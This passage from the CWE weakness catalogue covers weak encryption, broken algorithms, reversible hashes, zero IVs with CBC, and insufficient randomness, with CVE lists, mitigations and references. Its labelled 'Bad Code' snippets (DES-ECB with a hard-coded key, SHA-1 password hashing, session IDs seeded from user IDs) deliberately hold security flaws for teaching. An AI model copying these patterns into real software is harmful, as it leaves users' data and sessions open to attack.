CVE-2002-1697	Weak encryption produces same ciphertext from the same plaintext blocks.
CVE-2002-1739	Weak encryption
CVE-2002-1872	Weak encryption (XOR)
CVE-2002-1910	Weak encryption (reversible algorithm).
CVE-2002-1946	Weak encryption (one-to-one mapping).
CVE-2002-1975	Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness).
CVE-2004-2172	Weak encryption (chosen plaintext attack)
CVE-2005-2281	Weak encryption scheme

### Potential Mitigations

#### Architecture and Design

Use a cryptographic algorithm that is currently considered to be strong by experts in the field.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		310	Cryptographic Issues	699	547
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1114
ChildOf		720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1115
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1119
ChildOf		816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1247
ChildOf		934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1360
ChildOf		959	SFP Secondary Cluster: Weak Cryptography	888	1375
ParentOf		261	<i>Weak Cryptography for Passwords</i>	699 1000	464
ParentOf		328	<i>Reversible One-Way Hash</i>	1000	578

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Weak Encryption
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
20	Encryption Brute Forcing	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
112	Brute Force	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.

### Maintenance Notes

A variety of encryption algorithms exist, with various weaknesses. This category could probably be split into smaller sub-categories.

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

## CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID: 327 (Weakness Base)

Status: Draft

### Description

#### Summary

The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

#### Extended Description

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Confidentiality

##### Read application data

The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

#### Integrity

##### Modify application data

The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

#### Accountability

#### Non-Repudiation

#### Hide activities

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.

### Likelihood of Exploit

Medium to High

### Detection Methods

**Automated Analysis****Moderate**

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Binary / Bytecode simple extractor – strings, ELF readers, etc.

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Man-in-the-middle attack tool

Cost effective for partial coverage:

Framework-based Fuzzer

Automated Monitored Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

These code examples use the Data Encryption Standard (DES).

**C/C++ Example:***Bad Code*

```
EVP_des_ecb();
```

**Java Example:***Bad Code*

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

**PHP Example:***Bad Code*

```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a password encryption key";
    $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
    return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

**Observed Examples**

Reference	Description
CVE-2002-2058	Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.
CVE-2005-2946	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.
CVE-2005-4860	Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.
CVE-2007-4150	product only uses "XOR" to obfuscate sensitive data
CVE-2007-5460	product only uses "XOR" and a fixed key to obfuscate sensitive data
CVE-2007-6013	Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.
CVE-2008-3188	Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.
CVE-2008-3775	Product uses "ROT-25" to obfuscate the password in the registry.

**Potential Mitigations**

**Architecture and Design****Libraries or Frameworks**

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong.

[R.327.4]

**Architecture and Design**

Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

**Architecture and Design**

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

**Implementation****Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

**Background Details**

Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf		310	Cryptographic Issues	699	547
PeerOf		311	Missing Encryption of Sensitive Data	1000	548
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1119
ChildOf		753	2009 Top 25 - Porous Defenses	750	1143
ChildOf		803	2010 Top 25 - Porous Defenses	800	1229
ChildOf		816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1247
ChildOf		866	2011 Top 25 - Porous Defenses	900	1309
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318



Nature	Type	ID	Name	CVSS	Page
ChildOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1360
ChildOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1375
CanFollow	B	208	Information Exposure Through Timing Discrepancy	1000	396
PeerOf	V	301	Reflection Attack in an Authentication Protocol	1000	532
ParentOf	B	328	Reversible One-Way Hash	1000	578
ParentOf	V	780	Use of RSA Algorithm without OAEP	1000	1195
MemberOf	V	884	CWE Cross-section	884	1319
ParentOf	B	916	Use of Password Hash With Insufficient Computational Effort	699	1341
				1000	

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a broken or risky cryptographic algorithm
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT Java Secure Coding	MSC02-J		Generate strong random numbers
CERT C++ Secure Coding	MSC30-CPP		Do not use the rand() function for generating pseudorandom numbers
CERT C++ Secure Coding	MSC32-CPP		Ensure your random number generator is properly seeded

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
20	Encryption Brute Forcing	
97	Cryptanalysis	
459	Creating a Rogue Certificate Authority Certificate	
473	Signature Spoof	

### References

- [REF-6] Bruce Schneier. "Applied Cryptography". John Wiley & Sons. 1996. < <http://www.schneier.com/book-applied.html> >.
- Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. "Handbook of Applied Cryptography". October 1996. < <http://www.cacr.math.uwaterloo.ca/hac/> >.
- [REF-10] C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998-04-10. < <http://www.faqs.org/faqs/cryptography-faq/snake-oil/> >.
- [REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.
- Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005-09-15. < <http://www.eweek.com/c/a/Security/Microsoft-Scraps-Old-Encryption-in-New-Code/> >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft. 2002.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.
- Johannes Ullrich. "Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm". SANS Software Security Institute. 2010-03-25. < <http://blogs.sans.org/appsecstreetfighter/2010/03/25/top-25-series-rank-24-use-of-a-broken-or-risky-cryptographic-algorithm/> >.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Insufficient or Obsolete Encryption", Page 44.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.



## CWE-328: Reversible One-Way Hash

Weakness ID: 328 (Weakness Base)

Status: Draft

### Description

#### Summary

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

#### Extended Description

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

#### Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

##### C Example:

*Bad Code*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

##### Java Example:

*Bad Code*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code uses the SHA-1 hash on user passwords, but the SHA-1 algorithm is no longer considered secure. Note this code also exhibits CWE-759 (Use of a One-Way Hash without a Salt).

#### Observed Examples

Reference	Description
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.

#### Potential Mitigations

## Architecture and Design

### High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.328.1], scrypt [R.328.2], and PBKDF2 [R.328.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		310	Cryptographic Issues	<b>699</b>	547
ChildOf		326	Inadequate Encryption Strength	1000	571
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	<b>1000</b>	573
ChildOf		934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	<b>928</b>	1360
ChildOf		958	SFP Secondary Cluster: Broken Cryptography	<b>888</b>	1375

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Reversible One-Way Hash

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
68	Subvert Code-signing Facilities	
461	Web Services API Signature Forgery Leveraging Hash Function Extension Weakness	

### References

- Alexander Sotirov et al.. "MD5 considered harmful today". < <http://www.phreedom.org/research/rogue-ca/> >.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Integrity", Page 47.. 1st Edition. Addison Wesley. 2006.
- [REF-45] Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.
- [REF-39] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.
- [REF-40] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. < <http://tools.ietf.org/html/rfc2898> >.
- [REF-38] Coda Hale. "How To Safely Store A Password". 2010-01-31. < <http://codahale.com/how-to-safely-store-a-password/> >.
- [REF-41] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.
- [REF-42] Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.
- [REF-43] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.

[REF-44] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.

## CWE-329: Not Using a Random IV with CBC Mode

Weakness ID: 329 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Other

##### Read application data

##### Other

If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.

##### Integrity

##### Modify application data

If the CBC is not properly initialized, encrypted data could be tampered with in transfer.

##### Access Control

##### Other

##### Bypass protection mechanism

##### Other

Cryptographic based authentication systems could be defeated.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

In the following examples, CBC mode is used when encrypting data:

##### C/C++ Example:

*Bad Code*

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

##### Java Example:

*Bad Code*

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text ="Secret".getBytes();
        byte[] iv ={
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

}

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

### Potential Mitigations

#### Implementation

It is important to properly initialize CBC operating block ciphers or their utility is lost.

### Background Details

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	310	Cryptographic Issues	699	547
ChildOf	G	330	Use of Insufficiently Random Values	1000	581
ChildOf	G	573	Improper Following of Specification by Caller	1000	910
ChildOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1375

### Functional Areas

- Cryptography

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Not using a random IV with CBC mode

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Initialization Vectors", Page 42.. 1st Edition. Addison Wesley. 2006.

## CWE-330: Use of Insufficiently Random Values

Weakness ID: 330 (*Weakness Class*)

Status: Usable

### Description

#### Summary

The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.

#### Extended Description

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Confidentiality

#### Other

#### Other

When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.

**Access Control****Other****Bypass protection mechanism****Other**

If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.

**Access Control****Bypass protection mechanism****Gain privileges / assume identity**

When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.

**Likelihood of Exploit**

Medium to High

**Detection Methods****Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Man-in-the-middle attack tool

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

This code generates a unique random identifier for a user's session.

**PHP Example:***Bad Code*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

**Example 2:**

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

**Java Example:***Bad Code*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

**Observed Examples**

Reference	Description
CVE-2008-0087	DNS client uses predictable DNS transaction IDs, allowing DNS spoofing.
CVE-2008-0141	Application generates passwords that are based on the time of day.
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys.
CVE-2008-2020	CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums.
CVE-2008-2108	Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers.

Reference	Description
CVE-2008-2433	Web management console generates session IDs based on the login time, making it easier to conduct session hijacking.
CVE-2008-3612	Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.
CVE-2008-4929	Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files.
CVE-2008-5162	Kernel function does not have a good entropy source just after boot.
CVE-2009-0255	Cryptographic key created with a seed based on the system time.
CVE-2009-2158	Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking.
CVE-2009-3238	Random number generator can repeatedly generate the same value.
CVE-2009-3278	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.

## Potential Mitigations

### Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

### Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

### Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Architecture and Design

#### Requirements

#### Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.330.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

### Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

## Weakness Ordinalities



**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699 700	452
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	1137
ChildOf	C	753	2009 Top 25 - Porous Defenses	750	1143
ChildOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1244
ChildOf	C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1298
ChildOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1310
ChildOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318
ChildOf	C	905	SFP Primary Cluster: Predictability	888	1329
ParentOf	V	329	<i>Not Using a Random IV with CBC Mode</i>	1000	580
ParentOf	B	331	<i>Insufficient Entropy</i>	699 1000	586
ParentOf	B	334	<i>Small Space of Random Values</i>	699 1000	589
ParentOf	C	335	<i>PRNG Seed Error</i>	699 1000	591
ParentOf	B	338	<i>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</i>	699 1000	593
ParentOf	C	340	<i>Predictability Problems</i>	699 1000	596
ParentOf	B	341	<i>Predictable from Observable State</i>	699 1000	596
ParentOf	B	342	<i>Predictable Exact Value from Previous Values</i>	699 1000	597
ParentOf	B	343	<i>Predictable Value Range from Previous Values</i>	699 1000	598
ParentOf	B	344	<i>Use of Invariant Value in Dynamically Changing Context</i>	699 1000	599
ParentOf	B	804	<i>Guessable CAPTCHA</i>	699 1000	1229
MemberOf	V	1000	<i>Research Concepts</i>	1000	1402

### Relationship Notes

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

### Functional Areas

- Non-specific
- Cryptography
- Authentication
- Session management

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Randomness and Predictability
7 Pernicious Kingdoms			Insecure Randomness
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	MSC30-C		Do not use the rand() function for generating pseudorandom numbers
WASC	11		Brute Force
WASC	18		Credential/Session Prediction
CERT Java Secure Coding	MSC02-J		Generate strong random numbers
CERT C++ Secure Coding	MSC30-CPP		Do not use the rand() function for generating pseudorandom numbers

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C++ Secure Coding	MSC32-CPP		Ensure your random number generator is properly seeded

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
59	Session Credential Falsification through Prediction	
112	Brute Force	
485	Signature Spoofing by Key Recreation	

### References

- [REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.
- [REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Using Poor Random Numbers" Page 259. 2nd Edition. Microsoft. 2002.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-331: Insufficient Entropy

**Weakness ID:** 331 (*Weakness Base*) **Status:** Draft

### Description

#### Summary

The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Other

#### Bypass protection mechanism

#### Other

An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.

### Demonstrative Examples

#### Example 1:

This code generates a unique random identifier for a user's session.

#### PHP Example:

*Bad Code*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

